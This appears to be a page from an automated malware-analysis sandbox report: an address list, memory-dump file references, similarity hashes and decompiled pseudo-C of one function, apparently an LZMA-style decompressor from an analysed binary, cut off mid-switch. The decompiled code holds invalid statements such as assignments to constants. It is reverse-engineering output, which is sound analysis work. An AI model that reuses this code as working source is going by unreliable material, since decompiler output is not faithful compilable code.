0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00406614
0x00406614
0x00000000
0x00000000
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x00000000
0x004066cb
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00406690
0x00406690
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00000000
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x0040682e
0x00406834
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000
0x00406843
0x00406690
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x0040676d
0x00000000
0x004065e2

Memory Dump Source

Source File: 00000000.00000002.665385580.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.665381421.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665396189.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.665402733.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665417394.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665422205.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.665426509.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b486484d64dd4cde6c37fee08c13c94b86683911648eeb5affe32ba80e56590e
Instruction ID: 736e54d1ea8bc2ffbcc58a3ee687e8f06aed80bce92bf0dad63538ea203c4f31
Opcode Fuzzy Hash: b486484d64dd4cde6c37fee08c13c94b86683911648eeb5affe32ba80e56590e
Instruction Fuzzy Hash: 77913271D00229CBDF28CF98C844BADBBB1FF44305F15816AD856BB281D7789A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004062F4, Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004062F4() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M0040684B))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4));
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8)); // executed
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x28);
							goto L88;
						case 0xb:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__ecx =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x20);
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
							} else {
								__eax =  *(__ebp - 0x24);
							}
							__ecx =  *(__ebp - 0x28);
							 *(__ebp - 0x24) =  *(__ebp - 0x28);
							L88:
							__ecx =  *(__ebp - 0x2c);
							 *(__ebp - 0x2c) = __eax;
							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
							goto L89;
						case 0xc:
							L99:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xc;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t334 = __ebp - 0x70;
							 *_t334 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t334;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							__eax =  *(__ebp - 0x2c);
							goto L101;
						case 0xd:
							L37:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xd;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t122 = __ebp - 0x70;
							 *_t122 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t122;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L39:
							__eax =  *(__ebp - 0x40);
							__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
							if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
								goto L48;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L54;
							}
							L41:
							__eax =  *(__ebp - 0x5b) & 0x000000ff;
							 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
							__ecx =  *(__ebp - 0x58);
							__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
							 *(__ebp - 0x48) = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi =  *(__ebp - 0x58) + __eax * 2;
							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								 *(__ebp - 0x40) = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L39;
							} else {
								goto L37;
							}
						case 0xe:
							L46:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xe;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t156 = __ebp - 0x70;
							 *_t156 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t156;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							while(1) {
								L48:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax =  *(__ebp - 0x58);
								__edx = __ebx + __ebx;
								__ecx =  *(__ebp - 0x10);
								__esi = __edx + __eax;
								__ecx =  *(__ebp - 0x10) >> 0xb;
								__ax =  *__esi;
								 *(__ebp - 0x54) = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
								__eflags =  *(__ebp - 0xc) - __ecx;
								if( *(__ebp - 0xc) >= __ecx) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
									 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
									__cx = __ax;
									_t170 = __edx + 1; // 0x1
									__ebx = _t170;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									 *(__ebp - 0x10) = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags =  *(__ebp - 0x10) - 0x1000000;
								 *(__ebp - 0x44) = __ebx;
								if( *(__ebp - 0x10) >= 0x1000000) {
									continue;
								} else {
									goto L46;
								}
							}
							L54:
							_t173 = __ebp - 0x34;
							 *_t173 =  *(__ebp - 0x34) & 0x00000000;
							__eflags =  *_t173;
							goto L55;
						case 0xf:
							L58:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0xf;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t203 = __ebp - 0x70;
							 *_t203 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t203;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							L60:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L55:
								__al =  *(__ebp - 0x44);
								 *(__ebp - 0x5c) =  *(__ebp - 0x44);
								goto L56;
							}
							L61:
							__eax =  *(__ebp - 0x58);
							__edx = __ebx + __ebx;
							__ecx =  *(__ebp - 0x10);
							__esi = __edx + __eax;
							__ecx =  *(__ebp - 0x10) >> 0xb;
							__ax =  *__esi;
							 *(__ebp - 0x54) = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
							__eflags =  *(__ebp - 0xc) - __ecx;
							if( *(__ebp - 0xc) >= __ecx) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
								__cx = __ax;
								_t217 = __edx + 1; // 0x1
								__ebx = _t217;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								 *(__ebp - 0x10) = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags =  *(__ebp - 0x10) - 0x1000000;
							 *(__ebp - 0x44) = __ebx;
							if( *(__ebp - 0x10) >= 0x1000000) {
								goto L60;
							} else {
								goto L58;
							}
						case 0x10:
							L109:
							__eflags =  *(__ebp - 0x6c);
							if( *(__ebp - 0x6c) == 0) {
								 *(__ebp - 0x88) = 0x10;
								goto L170;
							}
							__ecx =  *(__ebp - 0x70);
							__eax =  *(__ebp - 0xc);
							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							_t365 = __ebp - 0x70;
							 *_t365 =  *(__ebp - 0x70) + 1;
							__eflags =  *_t365;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
							goto L111;
						case 0x11:
							goto L69;
						case 0x12:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 0x58);
								 *(__ebp - 0x84) = 0x13;
								__esi =  *(__ebp - 0x58) + 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x4c);
							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							__eflags = __eax;
							__eax =  *(__ebp - 0x58) + __eax + 4;
							goto L130;
						case 0x13:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								_t469 = __ebp - 0x58;
								 *_t469 =  *(__ebp - 0x58) + 0x204;
								__eflags =  *_t469;
								 *(__ebp - 0x30) = 0x10;
								 *(__ebp - 0x40) = 8;
								L144:
								 *(__ebp - 0x7c) = 0x14;
								goto L145;
							}
							__eax =  *(__ebp - 0x4c);
							__ecx =  *(__ebp - 0x58);
							__eax =  *(__ebp - 0x4c) << 4;
							 *(__ebp - 0x30) = 8;
							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
							L130:
							 *(__ebp - 0x58) = __eax;
							 *(__ebp - 0x40) = 3;
							goto L144;
						case 0x14:
							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
							__eax =  *(__ebp - 0x80);
							goto L140;
						case 0x15:
							__eax = 0;
							__eflags =  *(__ebp - 0x38) - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
							__al = __al & 0x000000fd;
							__eax = (__eflags >= 0) - 1 + 0xb;
